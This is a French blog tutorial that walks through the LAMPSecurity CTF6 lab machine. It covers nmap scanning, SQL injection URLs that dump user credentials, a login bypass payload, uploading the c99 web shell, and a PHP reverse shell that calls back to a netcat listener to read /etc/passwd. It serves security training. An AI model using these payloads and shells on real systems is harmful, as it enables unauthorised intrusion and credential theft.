vendredi 4 juin 2010

tutoriel injection SQL - LampSecurity CTF6

Le site LAMPSecurity.org propose des défis de type capture the flag (CTF). Ce tutoriel permet de résoudre une partie du CTF 6.
Ce CTF est présenté sous forme d'une machine virtuelle à télécharger, qui simule un serveur vulnérable.

Outils

- VMWare,
- nmap
- dirbuster - http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
- netcat ( version Windows - http://joncraton.org/files/nc111nt.zip )
- php-reverse-shell - http://pentestmonkey.net/tools/php-reverse-shell/
- c99 http://www.milw0rm.biz/c99.txt
- module firefox Firebug - https://addons.mozilla.org/fr/firefox/addon/1843/
- module firefox liveHttpHeaders - https://addons.mozilla.org/fr/firefox/addon/3829/


Préliminaires

Mise en place


Téléchargeons la machine virtuelle (VM) depuis le site http://sourceforge.net/projects/lampsecurity/. Pour l'utilisation de VMWare, nous pouvons nous référer à l'article Basics 1 - Mise en place du réseau tutoriel VMWare [1].
Modifions la machine dans VMWare pour qu'elle utilise le réseau NAT (au lieu de Bridge).
Pour connaitre le sous-réseau NAT de VMWare, aller dans Edit -> Virtual Nework Editor


Ici, nous utilisons le sous-réseau 192.168.0.0/24.
Lancons la machine dans VMWare. Une fois le serveur lancé, une invitation pour s'identifier apparait. Le serveur est actif. Quelle est son IP et quels services propose-t-il?

Trouver l'adresse IP du serveur

Lancons NMAP en mode ping sur le sous-réseau
# nmap -sP -PE -PA21,23,80,3389 192.168.0.0/24
Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-06-01 09:45 Paris, Madrid (heure d’été)
Nmap scan report for 192.168.0.1
Host is up.
Nmap scan report for 192.168.0.52
Host is up (0.0010s latency).
MAC Address: 00:0C:29:EC:C4:25 (VMware)
Nmap scan report for 192.168.0.252
Host is up (0.00s latency).
MAC Address: 00:50:56:E5:4E:88 (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 39.27 seconds
Nous obtenons un serveur en 192.168.0.52

services du serveur?

Lancons un deep scan sur l'IP 192.168.0.52

# nmap -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.0.52
Starting Nmap 5.21 ( http://nmap.org ) at 2010-05-24 11:42 Paris, Madrid (heure d’été)
NSE: Loaded 36 scripts for scanning.
Initiating ARP Ping Scan at 11:42
Scanning 192.168.0.52 [1 port]
Completed ARP Ping Scan at 11:42, 2.74s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:42
Completed Parallel DNS resolution of 1 host. at 11:42, 11.00s elapsed
Initiating SYN Stealth Scan at 11:42
Scanning 192.168.0.52 [1000 ports]
Discovered open port 22/tcp on 192.168.0.52
Discovered open port 995/tcp on 192.168.0.52
Discovered open port 111/tcp on 192.168.0.52
Discovered open port 110/tcp on 192.168.0.52
Discovered open port 143/tcp on 192.168.0.52
Discovered open port 3306/tcp on 192.168.0.52
Discovered open port 443/tcp on 192.168.0.52
Discovered open port 80/tcp on 192.168.0.52
Discovered open port 993/tcp on 192.168.0.52
Completed SYN Stealth Scan at 11:43, 1.31s elapsed (1000 total ports)
Initiating Service scan at 11:43
Scanning 9 services on 192.168.0.52
Completed Service scan at 11:43, 19.02s elapsed (9 services on 1 host)
Initiating RPCGrind Scan against 192.168.0.52 at 11:43
Completed RPCGrind Scan against 192.168.0.52 at 11:43, 0.01s elapsed (1 port)
Initiating OS detection (try #1) against 192.168.0.52
NSE: Script scanning 192.168.0.52.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 11:43
Completed NSE at 11:43, 1.23s elapsed
NSE: Script Scanning completed.
Nmap scan report for 192.168.0.52
Host is up (0.0016s latency).
Not shown: 991 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 1024 14:a9:f4:11:dc:2c:4e:0d:45:6c:99:11:22:29:03:bc (DSA)
|_2048 45:58:6c:98:3e:97:2a:da:e2:b8:6a:84:d4:6a:be:26 (RSA)
80/tcp   open  http     Apache httpd 2.2.3 ((CentOS))
|_html-title: CTF 6 - Widgets Inc.
110/tcp  open  pop3     Dovecot pop3d
|_pop3-capabilities: USER CAPA UIDL TOP OK(K) RESP-CODES PIPELINING STLS SASL(PLAIN)
111/tcp  open  rpcbind  2 (rpc #100000)
| rpcinfo:
| 100000  2    111/udp  rpcbind
| 100024  1    610/udp  status 
| 100000  2    111/tcp  rpcbind
|_100024  1    613/tcp  status 
143/tcp  open  imap     Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS AUTH=PLAIN UNSELECT THREAD=REFERENCES STARTTLS IMAP4rev1 NAMESPACE SORT CHILDREN LITERAL+ IDLE SASL-IR MULTIAPPEND
443/tcp  open  ssl/http Apache httpd 2.2.3 ((CentOS))
|_html-title: CTF 6 - Widgets Inc.
993/tcp  open  ssl/imap Dovecot imapd
|_sslv2: server still supports SSLv2
|_imap-capabilities: LOGIN-REFERRALS UNSELECT THREAD=REFERENCES AUTH=PLAIN IMAP4rev1 NAMESPACE SORT CHILDREN LITERAL+ IDLE SASL-IR MULTIAPPEND
995/tcp  open  ssl/pop3 Dovecot pop3d
|_sslv2: server still supports SSLv2
|_pop3-capabilities: OK(K) CAPA RESP-CODES UIDL PIPELINING USER TOP SASL(PLAIN)
3306/tcp open  mysql    MySQL 5.0.45
| mysql-info: Protocol: 10
| Version: 5.0.45
| Thread ID: 5
| Some Capabilities: Connect with DB, Compress, Transactions, Secure Connection
| Status: Autocommit
|_Salt: {LHc=CxV#I'&'0[Z3/0B
MAC Address: 00:0C:29:EC:C4:25 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.28
Uptime guess: 0.006 days (since Mon May 24 11:34:08 2010)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
HOP RTT     ADDRESS
1   1.58 ms 192.168.0.52
Read data files from: C:\Program Files\Nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.65 seconds
           Raw packets sent: 1027 (45.948KB) | Rcvd: 1021 (41.608KB)

Nous obtenons les services suivants:

Web sur un serveur Apache:
- http
- https

Administration:
- ssh
- mySQL

courrier:
- imap
- pop
- imaps
- pops

La VM a un noyau Linux 2.6.X.

le serveur Web

Lançons notre navigateur


Points d'entrée

Recherchons quelques points d'entrée en naviguant sur le site.
Nous obtenons les pages:
- Log In (pseudo/mot de passe),
- http://192.168.0.52/?id=1 (ou 2,3,4)





1ère injection SQL (/?id=1)

Une injection SQL consiste à effectuer une requête SQL dans une requête http pour injecter des résultats dans la page Web générée. Par exemple, si la page Web retournera une entrée d'une table de la base dans un champ qui devrait normalement contenir le texte d'un article.

Y a-t-il une injection SQL?

Voici la requête normale: http://192.168.0.52/?id=1



Ajoutons à la requête le caractère ' (touche 4). http://192.168.0.52/?id=1'


Nous remarquons que l'affichage du site change, sans proposer une erreur 404 (page introuvable). Le serveur n'échappe donc pas les caractères non alphanumériques.


Combien y a-t-il de champs SQL dans la page?

Envoyons successivement les requêtes suivantes:
http://192.168.0.52?id=1 UNION SELECT 1
http://192.168.0.52/?id=1 UNION SELECT 1,2
http://192.168.0.52/?id=1 UNION SELECT 1,2,3
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,7
A la 7ème requête, l'affichage change et nous obtenons:

Cela signifie que 7 champs sont récupérés dans la base SQL et affichés sur la page.
La requête UNION ne renvoit un résultat que si le nombre de champs à gauche et à droite est le même (ici 7).

Remarque, les données 1, 4 et 8 n'apparaissent pas sur l'affichage, mais sont bien présentes dans le code source de la page.
Par exemple, 4 correspond à l'adresse src de l'image
(...)

Posted by: 7

image3
(...)

Connaître la version et le user de la base SQL

Nous utilisons les deux fonctions spéciales user() et version()
http://192.168.0.52/?id=1 UNION SELECT 1,user(),version(),4,5,6,7



Lister les tables de la base SQL


Pour lister les tables de la base SQL, nous utilisons la table spéciale information_schema [3]. De plus, la fonction database() renvoit le nom de la base de donnée en cours.

http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database()
Nous obtenons 3 tables:
- user
- log
- event

Lister les colonnes de la table des utilisateurs

A présent, intéressons nous à la table "user". Nous utilisons la même méthode pour obtenir la liste des colonnes de cette table.

http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME = 'user'
Nous obtenons:
- user_id
- user_username
- user_password


Lister les entrées username et password de la table des utilisateurs

A présent, nous connaissons les titres des colonnes de la table user, affichons les couples user_username/user_password.

http://192.168.0.52/?id=1 UNION SELECT 1,2,user_username,4,5,6,user_password FROM user

Nous obtenons:
username: admin
password: 25e4ee4e9229397b6b17776bfceaf8e7





obtenir le mot de passe (faible) grace à son hash MD5 puis se loguer comme admin

copions-collons ce hash dans Google, nous obtenons le pass en clair: adminpass



retournons sur le site et identifions nous:



Nous voici admin sur le site Web.


recherche dictionnaire des répertoires


recherche

La méthode de SQL injection a permis de retrouver les éléments de connexion admin du site Web. Une autre méthode plus rapide permet également de les trouver: le parcours de répertoires du site.

Utilisons dirbuster de Owasp


Nous voyons un répertoire sql, qui contient un fichier sql.db dans lequel nous trouvons le script d'installation de la base, avec le mot de passe en clair!


afficher le code php de fichiers temporaires

Nous naviguons dans le site et ajoutons à chaque page trouvée ~ pour vérifier si un fichier temporaire n'a pas été effacé. Nous en trouvons un pour http://192.168.48.136/actions/add_event.php~




2ème injection SQL (login)

Nous allons exploiter une éventuelle injection SQL sur le formulaire login/password.

repérer la protection locale javascript avec firebug


Le formulaire username/password est protégé (si on peut dire!) par un javascript qui échappe les caractères entrés.

Avec firebug, activons l'option "Cliquer sur un élément à inspecter dans la page"


puis cliquons sur le bouton "Log In" pour voir apparaitre la partie du code source qui concerne notre formulaire. Le script javascript est "checkForm()"


bypasser la protection locale, repérer l'injection


Pour bypasser la protection locale javascript, nous utilisons le module Firefox Live Http Headers:

Lancons Live Http Headers:


Cliquons sur le bouton "Log In" du formulaire, puis cliquons dans la requête http capturée, puis sur "rejouer":



Essayons de contourner le champ "password" dans la requête:
username=admin' AND a=a /*&password=



Et nous obtenons:

Query error with select user_id from user where user_username = 'admin' AND a=a /*': Unknown column 'a' in 'where clause'


exploitation


Nous voyons que le code SQL est interprété. Mais notre première tentative échoue. Comment exploiter cette faille? Supposons que le serveur SQL utilise une fonction (MD5() par exemple) pour traiter les données entrées. Nous ajoutons donc une parenthèse dans notre requête:

username=' OR 1=1 #&password=') OR 1=1 #

bingo!


Allons à présent jeter un coup d'oeil au code source.


c99: lister le contenu du serveur

A présent que nous sommes identifiés comme Admin sur le site Web, uploadons c99 grace au formulaire add an event:

Nous utilisons le fichier c99.txt (cf http://www.milw0rm.biz/c99.txt). Nous le renommons en c99.php puis nous l'uploadons sur le serveur.
Pour cela, nous créons un nouvel "event" et utilisons le lien "télécharger une image" pour uploader le fichier. Puis nous nous rendons sur
http://192.168.48.136/files/c99.php


injection login/password dans le code source PHP

Voyons le code source de index.php. Il nous renvoie au répertoire "actions"


Allons voir "actions/login.php". L'injection se trouve à cette ligne:

$sql = "select * from user where user_id = " . $uname->user_id .
" AND user_password = md5('" . $_POST['password'] . "')";

Ici, le code appelle la fonction md5() de SQL. Notre injection transforme le code ainsi:

$sql = "select * from user where user_id = " . $uname->user_id AND user_password = md5('') AND 1=1";

php-reverse-shell: obtenir un shell


Nous allons uploader un fichier php qui se connectera en retour vers notre machine.

sur notre machine, écoute sur le port 1234


Utilisons netcat pour Windows. Voyons les options de netcat:
démarrer -> exécuter -> CMD
C:\netcat>nc
Cmd line: -help
[v1.11 NT www.vulnwatch.org/netcat/]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, background mode

        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
Ouvrons le port TCP 1234
C:\netcat>nc
Cmd line: -v -n -l -p 1234
listening on [any] 1234 ...

upload php-reverse-shell

Editons le fichier php-reverse-shell.php et modifions le pour qu'il se connecte vers notre IP

$ip = '192.168.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Uploadons le sur le serveur, en utilisant le formulaire "Add Event" de l'interface Admin


obtenir un shell via netcat


Accédons au fichier en tapant son adresse: http://192.168.0.52/files/php-reverse-shell.php



Nous obtenons bien le shell:



récupérer /etc/passwd

Depuis le shell netcat, en ne gardant que ceux qui peuvent ouvrir un shell:

sh-3.2$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
john:x:500:500::/home/john:/bin/bash
linda:x:501:501::/home/linda:/bin/bash
fred:x:502:502::/home/fred:/bin/bash
molly:x:503:503::/home/molly:/bin/bash
toby:x:504:504::/home/toby:/bin/bash
sh-3.2$

Nous obtenons donc la liste des utilisateurs du serveur.

élevation de privilège


Pour l'élévation de privilège, nous vous renvoyons à l'article de mysterie [4]


Conclusion


Dans cet article, nous avons pu mettre en œuvre plusieurs méthodes d'exploitation:
- injection SQL,
- recherche de répertoires,
- affichage du contenu du site avec c99.php,
- reverse shell php.

références


1 - Infond - Basics 1 Mise en place du réseau tutoriel VMWare - http://infond.blogspot.com/2010/03/basics-1-mise-en-place-du-labo.html
2 - Mohammed Cherifi - Tutoriel SQL injection - http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html
3 - MySQL doc - table information_schema - http://dev.mysql.com/doc/refman/5.0/fr/information-schema.html
4 - Mysterie - LampSecurity CTF6 - http://mysterie.fr/blog/index.php?post/2009/07/28/LampSecurity-CTF-6

2 commentaires:

  1. Petite question... Quel est le compte pour se logguer sous la machine virtuelle ? J'ai utilisé lampsec, mais ça marche pas et pas de doc à ce sujet.


    Merci

    RépondreSupprimer
  2. Pour se logger, il faut auparavant obtenir des credentials... Il va te falloir contourner cette authentification ;)

    RépondreSupprimer